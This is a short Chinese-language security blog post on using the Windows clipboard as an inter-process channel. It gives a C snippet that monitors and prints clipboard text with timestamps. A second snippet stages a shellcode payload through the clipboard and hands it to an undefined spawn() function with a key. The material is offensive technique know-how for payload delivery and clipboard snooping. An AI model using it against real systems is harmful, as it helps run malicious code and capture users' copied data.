idiotc4t's blog
搜索文档…
GitBook 提供支持
Clipboard Data Deliver

简介

我这水文居然还有人催更,就随便写点什么吧。
前几天同事叫我写个小demo,这里简单记录下,说需要监控剪贴板数据,实质也是一块共享内存,以往用剪贴板作为跨进程通信的方式传递过payload,常见的通信方式也就那么几种ReadFile/WriteFile,CreateMailslot,CreatePipe,socket,OpenClipboard,CreateFileMapping。

流程

    1.
    OpenClipboard打开剪贴板
    2.
    GetClipboardData指定格式检索获取对象
    3.
    GlobalLock锁定内存对象获取指针
    4.
    读取数据
    5.
    GlobalUnlock解锁全局对象
    6.
    CloseClipboard关闭剪贴板

代码

监听

1
HGLOBAL hglb;
2
LPVOID lptstr;
3
SYSTEMTIME systemTime;
4
if (!OpenClipboard(NULL)) { return; };
5
hglb = GetClipboardData(CF_TEXT);
6
if (hglb != NULL)
7
{
8
lptstr = GlobalLock(hglb);
9
if (lptstr != NULL)
10
{
11
GetLocalTime(&systemTime);
12
printf("%d.%d.%d %d:%d:%d\n", systemTime.wYear, systemTime.wMonth, systemTime.wDay, systemTime.wHour, systemTime.wMinute, systemTime.wSecond);
13
printf("%s\n", lptstr);
14
fflush(stdout);
15
GlobalUnlock(hglb);
16
}
17
}
18
CloseClipboard();
Copied!

传递

1
2
if (!OpenClipboard(NULL)) { return; };
3
hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE,sizeof(shellcode));
4
5
lpCopy = GlobalLock(hGlobalCopy);
6
memcpy(lpCopy, payload->payload, payload->length);
7
GlobalUnlock(hGlobalCopy);
8
9
SetClipboardData(CF_TEXT, hGlobalCopy);
10
11
hGlobal = GetClipboardData(CF_TEXT);
12
if (hGlobal != NULL)
13
{
14
lptstr = GlobalLock(hGlobal);
15
if (lptstr != NULL)
16
{
17
memcpy(buffer, lptstr, payload->length);
18
GlobalUnlock(hGlobal);
19
}
20
}
21
EmptyClipboard();
22
CloseClipboard();
23
spawn(buffer, payload->length, payload->key);
24
free(buffer);
25
Copied!

LINKS

剪贴板 - Win32 apps
docsmsft
最近更新 7mo ago